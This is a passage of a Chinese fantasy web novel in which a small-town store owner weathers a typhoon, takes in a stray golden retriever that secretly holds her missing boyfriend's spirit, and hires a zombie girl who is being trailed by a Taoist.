“相亲”认识的人，很难成为朋友，时愿不好挽留他，只说了两句客套话。 楼嚣盯着他被珊姨带着走远了，才收回目光，冷哼了声：“赑屃不好好镇守辖区，跑来桂圩镇干嘛。” 时愿也是他能肖想的吗？ 白树生躲在桌底下吃瓜：连海市的镇守神兽赑屃竟然来和店主相亲，还被拒绝了，天了噜…… 珊姨问海璧夕：“花了三个月，好不容易才走到这里，没说两句话就走了，你真的不会后悔吗？” 海璧夕：“能再见她一面，我已经很满足了。” 并不是什么刻骨铭心的故事，只是在普通的一个晴天，她去连海市旅游，顺手把游客黏在他的神像上的口香糖弄掉了，用水给他冲了冲脑袋。 他烦躁的心情被抚平了。 她坐在旁边画了一下午的画，制止了三个想爬到他背上的小孩。第二天，他的神像就被保护起来了，工作人员说是个年轻的姑娘给景区提了建议。 他对她一见钟情了，在看到那双眼睛的第一秒钟。 他再也忘不掉那双眼睛。 “已经可以忘掉他了吗？” “嗯？”时愿把茶杯推到罗以思面前，“忘掉谁？” “苏烛。”罗以思咬了咬嘴唇，“你们不是在一起了吗，我听说他去世了。你现在，已经可以开始一段新感情了吗？” 这件事传得很广，罗以思之前不在望海市都听说了。 “没有，这次‘相亲’是个意外。”时愿转移话题，“你搬回望海市了吗？” “嗯，搬回来没多久。小时候在这边有很多不开心的回忆，我打算回来好好面对。”罗以思盯着茶杯，“我大学是服装设计专业，现在做自媒体。在网上看到楼嚣的视频，他很有大火的潜质，我想请他做我的模特，共创视频。” “这想法挺好啊。”时愿问楼嚣，“你的意思呢？” 楼嚣：“我打算试试。” 时愿：“等你火了，帮我个忙。” 楼嚣：“什么忙？” “等你火了再说。” 这天下班，时愿听到猫在院子里嗷嗷叫，好像遇到了什么事。 时愿急忙跑过去，看到一只脏兮兮的小金毛犬蹲在小树旁边，它跑到她面前，想蹭一蹭她，似乎意识到自己太脏了，又拉开了一些距离。 这只狗狗什么时候跑进来的，她竟然没注意到。 “你是走丢的吗？”时愿看了看它的脖子，没有项圈，“还是一直在流浪？我先给你洗个澡好不好？” “嗷！”小金毛应了一声。 时愿用浇花的水枪给它冲掉泥污，小狗浑身都湿漉漉的，乖乖地站着，一动不动，眼睛一刻也没离开她。 时愿关掉水枪，捧起小狗的脸：“你的眼睛，和他长得好像啊。” 第68章 时愿的爸爸妈妈回家了。 “收到台风预警, 我们就提前两天回来了，怕高铁飞机停运回不来。”妈妈云阅晴整理带回来的手信，“这些礼物都要趁台风登陆前送出去。” “这台风来得真不是时候，不让人安心过节。”爸爸时睿和拿出一包冰箱贴, 递给时愿, “宝贝女儿, 这是我们给你收集的冰箱贴，这一路都集齐了。” “哇。”时愿很惊喜，“谢谢爸爸妈妈。” 时愿去厨房贴冰箱贴：“上个月的超强台风预警了很久，大家都很警惕, 囤了很多东西, 但是台风没有经过咱们镇, 风平浪静。这次的台风还小一点，预警了好多天了, 感觉大家都松懈了, 去超市都没看见有人囤菜。” “最好这次也不经过咱们这, 有备无患，我们家还是要做好准备。”时睿和话音一转，“哎呀, 忘记提醒你进货了。” “进了。”时愿数了一遍, “饮用水、速食品、充电宝、蜡烛、充电款台灯、手电筒、雨衣、水鞋、雨伞、手套、绳子……这些应急品的储备都很充足。” 时愿还进了一些中秋灯笼, 但卖得不算好, 来买的大部分都是小朋友，听说学校布置了做灯笼的手工作业, 要带去装饰教室，但是家长们懒得做，都是买现成的。 时愿进的灯笼做工好, 价格没有别家的便宜，还剩了一大半。她打算，要是卖不掉就挂在院子里装饰。 云阅晴笑道：“我就说把店不用担心吧，小愿做事有条理。” 时睿和点点头：“台风不来也没关系，除了蜡烛，其他都是生活必需品，囤着慢慢卖也不影响。要是台风影响大，咱们店也能帮上忙。十年前的超强台风，镇上停水停电一周，现在想起来还觉得恐怖，不能大意啊。” 云阅晴：“仓库要盖上防雨罩，怕瓦片吹走，也怕屋顶漏水，老家门口的树也要修枝、加固。明天送特产和应急品回去的时候顺便搞定，再帮奶奶干点活。” 时愿：“豆角架也要加固。” 云阅晴：“奶奶种豆角了吗？” “我种的。”时愿狡黠一笑，“杂货铺的院子现在很漂亮哦。” 云阅晴拍了下手，露出惊喜的表情：“真的吗？妈妈太期待了，现在天太晚了，明天我一定去好好欣赏一下！” 时愿瞒着他们，其实夫妻俩早就在朋友圈看到了，这期间好多人给他们发院子的照片，一个劲儿地夸时愿，还想让时愿帮他们设计院子呢。 知道时愿想给他们惊喜，两人一直装不知道。虽然知道了，还是很期待亲眼见到。 “嚯！”时睿和不小心扫到一双发光的大眼睛，吓了一跳，“什么东西蹲在哪儿？” “噢。”时愿打开杂物房的灯，“是我最近捡的小狗，我还没有空带它去驱虫和打疫苗，暂时隔离在杂物房。” 爸妈可能动过养宠物的心思，当年装修的时候，在杂物房装了一扇防猫挡狗的围栏门。现在用来隔离小狗正正好。 “好可爱，是小金毛吗？”云阅晴拿出手机拍拍拍，“你要养吗？” 时愿：“要是找不到主人就养。” 云阅晴：“取名字了吗？” “还没有。” 时睿和：“养只狗也不错嘛，你天天坐在那里画画写字，养了狗就要出门遛狗，多运动对身体好。” “这段时间我都有帮朋友遛狗，两只大型犬，一兴奋起来就想暴冲，我运动量绝对够了。”说起那两条狗，时愿有点担忧，“不知道它们能不能和小金毛和平相处。” 体型差那么多呢。 “嗷嗷嗷！！！” 两贵和狡软磨硬泡，逼着楼嚣带它们来杂货铺，不曾想短短时间没来，时愿有新的狗了。 还是和它们风格完全不同的萌犬。 它们反应很大，想叼着小金毛丢出去，楼嚣差点拉不住。 你们两个千年老妖怪，吃一只小鸡毛的醋，丢不丢脸啊！ 对啊，两只大妖对这只小金毛抱有这么深的敌意，它真的是只普通小狗吗？ 楼嚣深深地注视着这只长得像玩偶的甜脸小金毛，试图找出一些破绽。他没意识到，他的潜意识对小金毛也抱有敌意。 苏·小金毛的内胆·烛：“……” 一段时间没回来，时愿身边又多了一些奇怪的东西。还有这只蜃妖，怎么还在这里？ 苏烛牙有点痒，很想叼着这三只妖的脖子，把他们丢出去。 局势变了，他成长了，有更好的策略。 小金毛躲在时愿身后，做出被吓到的可怜表情。 时愿蹙眉：“两贵，小角，你们要是欺负小金毛，我会生气哦。” 嗷嗷叫的两只大妖瞬间噤声，用脑袋讨好地蹭时愿的小腿。 小金毛吐了吐舌头，得意地笑了。路过楼嚣身边，还踩了他一脚。 楼嚣：“……”这只心机狗，绝对是故意的。 时愿要回老家帮忙，让楼嚣帮忙看店。 她一出门，楼嚣就盯着小金毛：“你不是狗吧，别装了。” 苏烛：“。” 他假装听不懂，追出门去，非常自然地跳上时愿的电动车脚踏板。 时愿默许了，两贵和狡嫉妒得嗷嗷叫。 马路边上，镇政府安排的工作人员忙着修剪行道树，天空上一朵云都没有。 这种极致的宁静让时愿感到有些不安。 中秋前一天，台风来了，正面登陆，桂圩镇停水停电。 大白天，天黑得像夜晚，风嚎得撕心裂肺，窗户被风撞得框框响，雨水像一根根飞箭射在玻璃上。 时愿站在窗前看到，大雨被强风吹着扫过街道，对面被剪秃的大树被风连根拔起，撞向停在附近的小车。停车棚的顶棚被掀飞了，钢棍一根根弯起来。 极度恶劣的天气持续到傍晚五点，没有一点征兆地停止了，就像有一股力量，将台风吸走了。 时睿和扶了扶眼镜：“风怎么突然停了，按照以往经验，这么大的风，起码得八九个小时才会离开呢。” 云阅晴：“管它呢，停了就是好事！” 时睿和：“是好事是好事。” 苏烛看向大海的方向，风停之前，他感觉到那个方向有强烈的灵力波动，有“人”干预了这场天气，让台风往该走的地方走，减少了对桂圩镇的负面影响。 “哎呀，房子塌了！” “还真是塌了！” 听到爸妈的对话，时愿扬声问：“谁家房子塌了？这么严重吗。” 云阅晴：“咱们家房子塌了，你快来看呀！” 时愿走到他们身边，从西边的窗户往下看，杂货铺的厨房屋顶被不知道从哪儿飞过来的铁皮砸塌了。 哦，原来是我家房子塌了_(:з」∠)_ 小金毛把椅子推到窗边，站上去，悄悄看向窗外。被带回家避风的白树生也跳上来凑热闹。 不看不知道，一看不得了！这块铁皮砸的地方很凑巧，破坏掉了厨房的大阵不说，还让杂货铺塌出来一道轮回缝隙。 这种极端恶劣的天气，是孤魂野鬼们的活跃时间。今晚，一定会有无数孤魂野鬼为这道轮回缝隙疯狂，蜂拥而至。 “塌了也得继续营业。”时愿晃了晃手机，“好多人问我，能不能来买东西，店里有没有蜡烛和充电宝。” 风停后天没那么黑了，但是马上就日落了，今晚肯定来不了电了，他们得买点照明的东西。 时睿和：“义不容辞啊。” 苏烛在心里叹气，是啊，塌了也得“营业”，义不容辞啊。 今晚他会守护好桂圩镇。 愿望杂货铺离得近，又在门口摆了一整架点亮的灯笼，老远就能看到，是停摆小镇中最显眼的路标，成了出门买应急物品的街坊邻居们的首选。 “我们家有水井，你家要是缺水用了，可以拿桶来打水，路上注意安全。”时愿对每一位顾客都这样说。 消息传开后，来的人更多了，每个人手里都拎着两个水桶。杂货铺门口又排起了长队。 龙翻雪跑过来帮忙，爸妈让他留在学校躲台风，他不愿意，提前跑回来了。这个选择很正确，他跟着爸妈出了趟海，亲眼见到了爸妈和赑屃联手施法，护住了桂圩镇。 台风有它存在的必要和使命，他们只是给它换了个路线，避开了人口密集区，到干旱地区去。 至于赑屃为什么会来这边，他爸妈也不知道，也没有多问，只说赑屃移动速度很慢，来到这里得花不少时间。 杂货铺门口的灯笼一盏一盏地减少，街道上的屋子一间一间地亮起来。 没电，只能用煤气灶做晚饭。这难不倒时睿和，他是家里的大厨，他在家的时候，云阅晴和时愿都不用进厨房。 他早早就把饭焖上，把汤炖上了。等饭做好了，他和两人换班，看店、维持打水的秩序。 用砂锅焖腊肠叉烧饭，比用电饭煲松软多了，还有一圈焦香的锅巴，慢炖出来的淮山排骨薏米汤也特别甜，淮山都有一点融化在汤里了，口感沙沙的特别好。 时愿吃得特别满足，对摸黑加班毫无怨言。 吃完饭，雨也停了，她和龙翻雪开着小电驴去给不方便出门的镇民送应急物品，忙碌到很晚才歇下。 收到台风绕开桂圩镇的消息，楼嚣的第一反应就是，大概是赑屃干的。 “啧，也算干了一件好事。” “做了这么一件大好事，不打算告诉她？”珊姨问耗尽灵力，虚弱得眼睛都睁不开的海璧夕。 “没什么值得说的，珊姨，我的假期快结束了，等交通恢复，你开车送我回去吧……”海璧夕沉沉地睡了过去。 第69章 “呜呜……呜呜……” 风很小, 可风声很大，仔细听，像是有很多人在呜咽。 文具店的文叔在愿望杂货铺买了两盏灯笼，一盏鳌鱼灯, 一盏玉兔灯。一盏挂在客厅里, 一盏挂在厕所里。 断电的屋子亮堂起来, 晚上起夜也不用担心了。 文叔看着灯笼，想起什么，笑了一声，对老婆说：“之前看到小愿的进货清单, 我还跟她说, 没必要进这种又漂亮又贵的, 镇上根本没人买。前段时间各个学校搞中秋活动，咱们店的便宜灯笼脱销了, 她的灯笼都卖不动。结果, 现在咱们还要去她店里买灯笼嘞！” “这灯笼真的很漂亮, 家里的感觉一下子就不同了，有过节的气氛了，这质量好, 过年的时候还能拿出来用。”廖姨赞不绝口, “小愿的眼光很长远。” “不下雨了吧？屋里头太闷热了, 没风扇没空调, 今晚怎么睡得着哦。”文叔打开阳台门和窗户，嘟囔道, “希望蚊虫别飞进来。” 文叔刚转身，几道人形白影飘到他家阳台外面，从防盗网的缝隙里挤进去, 朝他和廖姨伸出手。 在那几只手即将搭上两人肩膀的时候，鳌鱼灯闪了一下，光芒大增，那几只鬼影被照坏了眼睛，手缩了回去，被灯光逼得逃出屋外。 “哈秋！”廖姨打了个喷嚏，搓了搓手臂，“开了窗户又有点冷了。” “盖张空调被就好睡了，好过热得睡不着。”文叔打着哈欠往厕所走，几双眼睛凑到窗边，在看到挂在毛巾架上的兔子灯后，又缓缓退回黑暗中。 “汪！汪汪！”夜里响起威严的犬吠，苏烛控制的小金毛容器从天台跃下，落在窗檐上，把无头苍蝇似的乱窜的孤魂野鬼赶向杂货铺。 小橘猫在另一边配合他，把被吓得乱跑的孤魂野鬼逮回来，引导它们走进轮回缝隙里。 “我就说你不是普通狗吧，之前还在那给我装。”楼嚣揣着兜蹲在对面楼顶，两贵和狡站在他身边，“下次再跟你算账，沿江的街区交给我们，妖管局已经去各个村庄巡逻了，医院那边也有龙翻雪在。” 楼嚣说完，身影扭曲消失，这只是他用来传话的蜃影。 爸妈都在家，即使停水停电，也不是什么大问题，时愿睡了一个好觉。 第二天起床，还没有来电，时愿打开门，小金毛和小橘猫趴在她的门口，看起来就像跑了一场马拉松，彻底没电了。 “你俩昨晚跑酷去了？” 宿在这边的时候，小橘喜欢在楼梯间跑来跑去。 小金毛哼唧了声，往她身边挪了挪。 爸妈在给奶奶打电话，见她出来，时睿和说：“小愿，先去吃饭。奶奶说村子路口被倒塌的树堵住了，爸爸妈妈一会儿要去砍树。” “我和你去，妈妈看店吧。” 吃完时愿煮的鱼和蛋，小金毛和小橘猫原地复活，缠着时愿要一起去。 把路清出来，又帮奶奶打扫了院子，修缮鸡舍，已经临近中午。 回到杂货铺，时睿和去做饭，时愿和云阅晴坐在院子里，看着塌得不成样子的厨房，商量对策。 云阅晴叹气：“我女儿努力了这么久，改得这么漂亮的院子，我还没欣赏两天，就被台风毁了。” “旧的不去，新的不来。”时愿很干脆，“这边的房子太老旧了，又不常住，有安全隐患，趁这次机会翻新改造吧。” 院子里的花花草草和小鱼们倒是很坚强，除了没熟的圣女果和小茄子被打落了几个，几乎没受影响。 杂货铺的生意蒸蒸日上，她也决意留在家乡发展，从长远打算，杂货铺是一定要修缮的。 “全部一起装修？这需要一大笔钱。”云阅晴想了想，“这样吧，爸爸妈妈不继续旅游了，钱都拿来装修。” “不用，你们安心去玩。”时愿笑着眨了下眼睛，“这几个月生意好，我小赚一笔，加上之前工作的存款，肯定够用了。” 时愿不可能动爸妈的旅游基金，他们为了这次环游，存了很多年的钱。 云阅晴很惊讶：“赚了这么多？” 时愿：“这几个月大订单很多，放心吧，够用。” 时愿拍了几张照，发到朋友圈，问有没有人能接单，出改造方案。她有不少同学从事这一行，其实她也能自己改，但是她最近还要跑点心厂，没这么多时间，交给专业人士，省心省力。 没想到，第一个联系她的居然是简家慕。 简家慕说，他还有一间建筑工作室，可以免费帮时愿出改造方案。简家慕言辞恳切，说时愿帮了他家和公司很多忙，他很想为时愿和杂货铺做点什么。 客户们都是付出型人格，也有点难搞啊。时愿不想占便宜，但也能理解简家慕想还人情的迫切心情，还真不好拒绝。 人情世故真是一门学问…… 时愿好说歹说，简家慕才愿意收很低的费用，还说要是时愿不满意就不收钱。 下次简家慕再来订购办公用品的时候，一定给他打折。 中秋节的夜晚，时愿一家人在杂货铺的小院里乘凉，拜月。 停电的缘故，圆月显得特别亮，柔黄的月光如轻纱笼罩着院子。 西瓜在井水里泡了许久，切开凉气扑面，蛋黄莲蓉月饼分成小块，配上一壶好茶。 时睿和摇着扇子：“感觉回到这房子刚建成的时候了，那时候，小愿还不到我腰这么高，小烛比她还矮一些……” 时睿和意识到失言，骤然闭上嘴巴。 小金毛叼着时愿的裤脚扯了扯，带着她去废墟前。 时愿看到，有团团萤火从废墟中飞出，它们飞得很快，还不待时愿看清它们的样子，就飞远了。 “萤火虫！”云阅晴惊叹，“都这个时候了，怎么还有萤火虫呀？” 时睿和：“不一定是萤火虫，可能是其他会发光的小虫子吧。小愿，你别凑太近了。” 时愿答应一声，视线完全挪不开。 好美。 苏烛看着她专注的侧脸，眼里只装着她一个人。 这两天闯入桂圩镇的孤魂野鬼都被他们赶进轮回裂缝了，这些萤火是它们对人间的最后挂念，将趁着月色，乘着晚风，进入它们惦念的人的梦中。 如果那天，他真的死了，今夜会出现在时愿的梦中吗？ 要是那样，他一定会从轮回缝隙中爬出来的。 海边小镇，应付台风经验丰富，灾后重建工作有序推进，镇上和各村庄陆续恢复供电供水，大家的生活回到了正轨。 时愿天天跑点心工厂，和面包店的点心师、点心厂的师傅一起调整配方。 这期间，发生了一件事。 楼嚣和罗以思的共创视频爆火了，这个视频走复古怀旧风格，拍摄地在县城和小镇，罗以思去市场扯布自己设计、剪裁、做造型，罗以思一直在准备这个主题，有些素材是她早就拍好的。 最终完成的视频堪比电影质感，穿着摩登的两人在大街小巷的经典场景中穿梭，摇身变成90年代县城的不同人设，滤镜和音乐随之变化，就像两个时代、不同的人在对话，画面很有冲击力和故事感。 其中婚礼场景拍得最美，截图被网友称为神图，流传甚广。 愿望杂货铺当然也出镜了，还是C位场景，大家都说这种老式的杂货铺非常回忆杀。听说杂货铺要翻新，还有望海市的网友说，要趁翻新前来这里拍照呢。 罗以思和楼嚣的粉丝蹭蹭涨，楼嚣主动来问：“火了，你之前要让我帮你做什么？” 时愿说：“帮我发一则寻人启事吧。” 新晋网红楼嚣，火了之后的第一条动态，是一则寻人启事。 姓名苏烛，因车祸连人带车翻进海里，至今没有任何消息。 时愿顾及双方家人的心情，一直没有明确表态，她不相信苏烛已经死亡。但“相亲事件”让她意识到了，早点摊牌比较好。 楼嚣看着亲手发出的寻人启事，不知为何，心里有些不畅快。 他在时愿的手机屏幕上见过这个人，那张照片是学生时代拍的，样貌稚嫩一些，不像寻人启事上的证件照，因为头发全撩起来了，有点好看过头了。 听说这个人是时愿的前男友，因为车祸去世了。 时愿是什么人？她既然要发这则寻人启事，说明她怀疑苏烛没死，且遇到了她都无法解决的难题。 时愿不惜用普通人的办法也要找回苏烛。 楼嚣的眉心隆起皱褶，越看苏烛的照片越觉得不顺眼。 罗以思转发了楼嚣的动态。 她很意外时愿会这样做，在知情人眼中，这个行为绝对很疯，因为——苏烛已经办过葬礼了呀！连他的亲属都接受了他已经去世这件事。 罗以思比其他知情人感触更深的是，原来时愿真的有人的情感。 小学的时候，她以为外貌，被同学取外号、取笑，她因此变得更加内向，怯懦，没有朋友。 只有时愿在她被取笑的时候，挡在她面前，吓哭了那几个人。 那时候，时愿也没有什么朋友，可是罗以思也不敢和她做朋友，一方面是自卑，另一方面，她觉得时愿太难以接近了。 只有苏烛敢接近时愿，他们是邻居，总是一起上下学。 那会儿没有性别概念，罗以思很羡慕苏烛，甚至有一点嫉妒他。 在问时愿是不是忘掉苏烛的时候，罗以思的心理很微妙。她能共情苏烛，也能共情小时候没有勇气的自己。 直到看到这则寻人启事，罗以思内心震动，她终于明白，什么叫“情绪稳定的人才是真疯子”。 这个世界上，苏烛可能是唯一理解时愿，清楚她本质的人，从很小的时候，他就理解了。 苏烛的寻人启事转疯了，因为他的证件照。 总有人来私信，云阅晴和时睿和也看到了，夫妻俩犹豫再三，和时愿长谈了一次。之后，他们选择理解女儿。 别人一定难以理解，可他们知道，从小到大，时愿的直觉，从来没有错过。 收到简家慕发来的改造方案时，时愿刚把爸妈送到高铁站。他们想留下帮忙，但时愿不想耽误他们早就定好的旅程。 最近有点忙不过来，时愿决定聘请员工。 第70章 妖管局出了一件大事。 有“人”把三个通缉犯丢进了妖管局的庭院里, 这三个通缉犯被捆成了粽子，神志不清，什么都审问不出来。 局里的各种监控什么都没拍到。 这位“神秘人”还留下了一张帖子，说这三人是冥河会的骨干。冥河会, 是以“让冥河流入人间”为主要目的成立的邪修组织, 骨干全都是极度崇拜冥河的疯子。冥河会一共有五个骨干, 有两个难缠的跑掉了。 这样一来，这三个通缉犯犯下的案子就有了解释。 唯一的问题就是，这件事归异管局管，“神秘人”丢错地方了！ 到底是谁给他们送了这份大礼呢？此人不仅潜入冥河会, 以一敌三生擒骨干, 还自由出入妖管局一点痕迹都没留下。 这个手法, 让胡戏文想起了上次的钟妖事件，他们束手无策的时候, 收到了“神秘人”寄来的日晷。 帖子里列了几件冥河会的罪行, 胡戏文的目光落在最后一件事上： 在黄泉井招生魂开轮回路, 结果失败。 胡戏文知道这件事，被招的生魂正是叶幽尘。 胡戏文的思路清晰起来，冥河会在黄泉井的所作所为惹店主不快, 所以店主出手了。店主和异管局甚少打交道, 顺手把这份大礼送给他们了。 “要多少鲜血都给我弄来？谁说的僵尸都喝得惯人血啊, 想想都要吐了。”陶蓦回穿着从冥河会顺来的黑色卫衣外套, 蹲在天晴街最高楼的天台上，上扬的眼睛盯着斜前方的一抹明黄, “银杏树，愿望杂货铺就在那里了。” 本来是想将冥河会一网打尽，送给店主当见面礼, 可惜跑掉了两个。那个金色头发的，像泥鳅一样滑不溜手。 “好饿。”极度的饥饿感，让陶蓦回产生了强烈的觅食冲动，看着街道上的行人，很想咬他们的脖子吸血，每每出现这个不受控制的念头，她就感到一阵恶心。 陶蓦回借着夜色遮掩，瞬移到杂货铺门口。 十几片银杏叶环绕着她，每一片都锋利如刃，散发着危险的气息。 一只橘猫从门缝中钻出，朝她呲牙。 僵尸！白树生浑身炸毛，这个牙齿，这个气息，是僵尸没错吧！到底是从哪里跑出来的啊！ “敌意别这么大嘛，我可没有恶意。”陶蓦回凑近看墙上贴的海报，混进冥河会的这段时间，她对这个时代有了一点了解，能看懂这张海报的意思。 杂货铺在招聘员工。 金发青年说过，冥河会是她的长期饭票。 陶蓦回觉得，杂货铺才是她的长期饭票。 她要来杂货铺作工！ 陶蓦回瞅了一眼银杏树，又看看小橘猫，这两只精怪可谓是她的前辈。陶蓦回能看出来，它们在刻意伪装成普通的树和猫。 陶蓦回想了想，把两颗僵尸牙拔了下来，反正她也很讨厌这两颗牙齿。 白树生看着她的动作，牙齿都跟着疼了一下，生拔牙齿，这是个狠尸啊。 陶蓦回靠在墙上，静待杂货铺开门。对了，变成僵尸之后，她就不用睡觉了，或者说，除了封印，她再也睡不着了。 时愿一早开店，看到一个女生站在屋檐下窄小的阴影里，她戴着兜帽，两只手都藏在长长的袖子里，背脊紧贴墙壁，似乎有些畏惧日光。 日光过敏症？ 时愿和她打招呼：“你好，是想要买东西吗？” 女生抬起头，露出一张苍白的脸和艳红的唇，眼下一片青黑。她长得太好了，年纪又轻，时愿分辨不出她是睡眠质量不佳，还是特意画的烟熏妆。 陶蓦回琢磨了一晚上，也期待了一晚上，她实在没想到，愿望杂货铺的老板这么普通。 跟在她身边的小狗也很普通，和那只小橘猫妖气外漏的完全不一样。 陶蓦回有点摸不准，老板是个真正的普通人，还是她伪装得太成功了。 不管怎么说，得先想办法留下来。 “我……”陶蓦回说，“我来应聘。” “你是第一个来应聘的人。”时愿推开门，微微一笑，“请进。” 陶蓦回跟着她进去，打量杂货铺。 还是好普通。 陶蓦回拔掉的牙齿已经长出来了，看着像稍尖的虎牙。 但苏烛在训练塔里看过很多古籍，一眼认出，这是一具僵尸。 这具僵尸还想来店里打工。 杂货铺里奇怪的东西真是越来越多了。 时愿请陶蓦回坐下，坐到她对面，苏烛跳上时愿旁边的椅子，俨然把自己当作第二个面试官。 “你成年了吗？毕业了吗？”时愿说，“我这里招的是全职员工。” 陶蓦回拿出冥河会帮她办的身份证，她死亡的时候刚满18岁，证件给她填的年龄是22。 苏烛瞥了一眼，喔，假的，上面的信息大部分都是假的。 话说回来，僵尸应该去妖管局□□，还是异管局呢？ 时愿把身份证还给陶蓦回。 “工作内容比较简单，看店收银，整理货架，之后杂货铺要翻新，我不在店里的时候，帮忙盯一下施工，有什么问题给我打电话就好。不需要有经验，什么不懂的我都可以教你。”时愿向陶蓦回介绍，“如果你不介意施工的气味，可以住在店里。不包吃，但院子里种的菜，店里的东西你都能吃，做好记录就行。工资福利和海报上写的一样。” 菜？陶蓦回看向院子，那里有一片葱郁的小菜园。 老板说她可以吃那些菜，是没看出她是僵尸，还是暗示，那些菜可以让僵尸饱腹？ 陶蓦回变成僵尸是一个意外。 她病重垂危，青梅竹马的未婚夫接受不了这个事实，到处搜罗治病偏方，不惜冒着被逐出师门的风险，动用禁术。最终，无意让她变成了僵尸。 一开始，她和未婚夫还为不用分离而欣喜，想着变成僵尸也没关系，只要她不去害人就可以了。 可是，家禽家畜的血液无法让她饱腹，她被饥饿感折磨得崩溃，只能用指甲抓伤手臂，压下觅食的冲动。没几日，她的意识逐渐模糊，每日浑浑噩噩。有一日，未婚夫将喂她喝了一碗血，她竟不饿了。 她追问那是什么血，他说那是他猎回来的鹿血。 她不疑有他，连续喝了几日“鹿血”，她不饿了，精神也恢复了许多。 后来，她看到了他伤痕累累的手臂。 他是在用自己的命，给她续命。 她吐得死去活来，再也闻不得血味，苦求他让自己解脱。 他不愿意，下不了手。 他们拖了一些时日，事情还是败露了。他的师爷带着门人将他们团团围住，用尽办法，竟然奈何不了她。 师爷无奈之下，算了一卦，说两人还要纠缠数百年，便将她封印在深渊塔下。 封棺之前，师爷说，数百年后，大阵会被破坏，她会被人唤醒。 唤醒她的人可以让她免受饥饿，只要跟随那个人，就能和未婚夫重逢。 但她必须记住一点，真正唤醒她的人，藏在迷雾之中，是幕后的推手，可千万不能找错人。 “我想留下。”陶蓦回回过神来，连忙表态，“我会努力。” 时愿：“试用期一周，给我们一点磨合的时间，要是不合适，我就给你结工资，可以吗？” 陶蓦回说：“好。” 时愿带她去熟悉环境，陶蓦回一路躲着阳光走，看到院子里的火殃、石鱼、百丈竹和灵枫，陶蓦回确定了，老板只是伪装成了普通人！ 那院子里的这些菜，一定能让她饱腹！ 问题是，院子里阳光炽烈，她要怎么去摘菜呢？ 要忍到太阳下山吗？这才是老板给她安排的面试考验吗？ 时愿见陶蓦回一直看着菜园，表情有些焦虑，想到她在门口躲阳光的样子，心中大约明白了。 “想去花园走走吗？”时愿说，“可以用我的伞。” 陶蓦回：！！！ 老板会读心吧！ 老板的伞当然不是凡品，一定是那种，能让僵尸鬼怪在太阳底下活动的灵器。 以及，老板没打算考验她，老板是大好人！ 陶蓦回从时愿手里接过伞，看着菜园里两颗熟透的小红果，忍不住咽了咽口水。 快了，快了，她很快就能吃饱了…… “咻——！”一把桃木剑擦过陶蓦回身边，钉在石板的缝隙里。 陶蓦回差点像白树生一样炸毛，回头，一个白衣青年站在店里，他留着清爽的短发，背着一个破布包，像个路人。 但这一把又快又准的桃木剑明示了他的身份。 不是道士就是灵师，哪个都很麻烦。 偏偏在这种时候出现，陶蓦回心中十分烦躁。 店里又来了奇怪的客人。时愿严肃道：“这位先生，你差点伤人了。” “不好意思，失手了。”千阑警惕地盯着陶蓦回，缓步走到她面前，拔起桃木剑。 师爷前段时间出关，说深渊塔镇压的妖邪逃了，指了个方向，让千阑下山追捕。 千阑一路马不停蹄，真的找到了师爷口中的妖邪。 竟是僵尸。 还是装成普通人，大白天闯入人店里的嚣张僵尸。 要是他来晚一步，这家店的老板可能就要遇害了！《 》 70-80 第71章 “小陶, 你住家里还是店里？” “住店里。” “那你先回去拿行李，今天熟悉一下环境，明天再正式上班。”时愿问，“需要我开车送你吗？” “我今天就可以上班。”陶蓦回说, “东西我都买新的。” 冥河会的人给她买了手机, 里面有一笔钱。 时愿见她表情有些逃避, 不想多说的样子，只道：“被子水桶毛巾晾衣架这些，店里有的东西，不用出去买, 算员工福利。” 时愿帮陶蓦回收拾出一间舒适的宿舍出来, 给她一串钥匙：“钥匙都在这里了, 这边也要翻新，到时候就先搬去我家客房住, 就在旁边。” 杂货铺的走廊放了几张折叠桌椅, 供顾客休憩、吃东西, 千阑坐在这里，将两人的对话听得一清二楚。 他捏紧饮料瓶，皱起眉头。这具僵尸不仅敢在大白天闯进人店里, 还应聘售货员, 还成功了！ 简直离谱。 千阑清楚, 他不能在这里动手, 免得误伤或吓到无辜的老板。普通人一旦被卷入这种事，世界观坍塌, 往后的人生轨迹就完全不一样了。显然，僵尸也不可能乖乖跟他离开这里，到没有人烟的地方决斗。 他只能出此下策, 在店里消费，留在店里观察、监视僵尸，不让她有对老板下手的机会。等这家店打烊了，再做打算。那时恐怕已经很晚了，对僵尸有利，对他不利。 那个拿桃木剑的顾客一直盯着陶蓦回，陶蓦回很坦然，偶尔还冲那位顾客笑，然后那位顾客的表情就会很精彩，像是敢怒不敢言。 时愿感觉，他们之间的气氛有些奇怪，很明显是旧相识，还是有纠纷的那种。 时愿悄悄问陶蓦回：“要‘请’他走吗？” 陶蓦回心中一跳，老板这样问，是要帮她解决麻烦，还是对她带了个麻烦进店里，有所不满，暗示她自行解决？ 陶蓦回知道，这个道士或者灵师怕她害人，才赖在店里不走。这种正道人士她接触过很多，大多是又臭又硬的顽石，只要不下死手，他们都会阴魂不散地缠上来。 她当然下不了死手。 老板的目光很有压迫感，陶蓦回情急之下，大声道：“他是我前夫！” “噗——”千阑在喝饮料，差点被呛到。他从耳朵到脸到脖子全都红了，不知道是被呛的，还是气的。 她撒这种谎，是何居心！ 时愿看在眼里，以为他是害羞了，其实她也有点尴尬，一不小心吃了一口大瓜…… 想起那把失手钉在陶蓦回脚边的剑，时愿有些不放心，压低声音问：“他对你死缠烂打？” 作为在场唯一一个清楚所有人想法的人，苏烛在心里偷笑，太好笑了哈哈哈哈，我看你俩挺配。 陶蓦回冷静下来，觉得这个谎言恰到好处，从僵尸和道士的死敌关系，变成了感情纠纷，威胁性一下就降低了，还给了小道士一个留在店里的正当理由。 他不是怕她害人吗？那就让他盯着，让他放心。 “没有。”陶蓦回镇定道，“只是还有些问题没解决。对不起，老板，可以让他留在店里吗？我们不会影响其他客人。” “我倒是没关系。”时愿拍了拍陶蓦回的肩膀，“要帮忙随时开口，不要不好意思。” 新员工上班第一天，时愿哪儿也没去，手把手教陶蓦回怎么收银。 陶蓦回对这些现代设备很感兴趣，很想亲手实践一遍。她对千阑勾了勾手指：“你买点东西。” “我？”千阑指了指自己，一脸的难以置信，这僵尸入戏太深了。 陶蓦回点头，理直气壮：“你在店里干坐着不会感到抱歉吗？” 时愿：“……”对顾客这样说话太失礼了，但这是陶蓦回前夫，就……随她去吧。 千阑拿了两个面包。 时愿偏过头笑了。这么听小陶的话，应该没什么大问题吧？ 陶蓦回按照时愿教的，笨拙地操作着收银系统，成功的时候，眼睛都亮了起来：“请扫码支付！” 千阑拿出现金。 这个老板也教过！陶蓦回点击现金支付，给千阑找零，扭头看向时愿，脸上写着“求表扬”。 